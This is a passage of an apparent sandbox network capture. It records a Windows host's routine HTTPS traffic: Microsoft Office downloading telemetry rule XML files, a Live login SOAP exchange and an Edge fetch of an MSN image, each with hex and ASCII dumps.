2024-10-29 05:59:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49912	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 05:59:37 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 05:59:37 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 05:58:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.3 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 4a26554a-05e8-4894-9a35-7ef39f28d8e5 PPServer: PPV: 30 H: PH1PEPF00018BFD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 05:59:36 GMT Connection: close Content-Length: 11392
2024-10-29 05:59:37 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49913	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:37 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:37 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: e5e4d1e5-f01e-0099-4ab6-299171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055937Z-r197bdfb6b4skzzvqpzzd3xetg00000005dg00000000bszk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:37 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49914	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:37 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055937Z-16849878b78wv88bk51myq5vxc00000006b000000000ce7v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49915	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:37 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:37 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: f17b3a4e-c01e-002b-72e7-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055937Z-17c5cb586f65j4snvy39m6qus400000001g000000000380x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:37 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49916	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:37 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:37 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:37 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: cdad86df-601e-000d-669f-282618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055937Z-r197bdfb6b466qclztvgs64z1000000007p000000000auyc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:37 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49917	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:37 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:37 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055937Z-15b8d89586fxdh48qknu9dqk2g00000009zg00000000dyxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:37 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49918	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:37 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:37 UTC	547	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 16 Oct 2024 14:59:21 GMT X-Datacenter: eastus X-ActivityId: a28b9a6c-b088-45c6-9407-5a28da50ebb3 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 Content-Length: 4096 Cache-Control: public, max-age=118644 Expires: Wed, 30 Oct 2024 14:57:01 GMT Date: Tue, 29 Oct 2024 05:59:37 GMT Connection: close
2024-10-29 05:59:37 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49919	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:38 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:38 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 170621ef-f01e-003f-351f-28d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055938Z-15b8d89586fhl2qtatrz3vfkf00000000c8g000000007616 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:38 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49920	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:38 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:38 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:38 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: cd4a5759-201e-005d-4b3a-26afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055938Z-r197bdfb6b4b4pw6nr8czsrctg00000006tg00000000a3b1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:38 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49922	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:38 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:38 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:38 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055938Z-16849878b78qg9mlz11wgn0wcc00000005r00000000077t5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:38 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49921	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:38 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
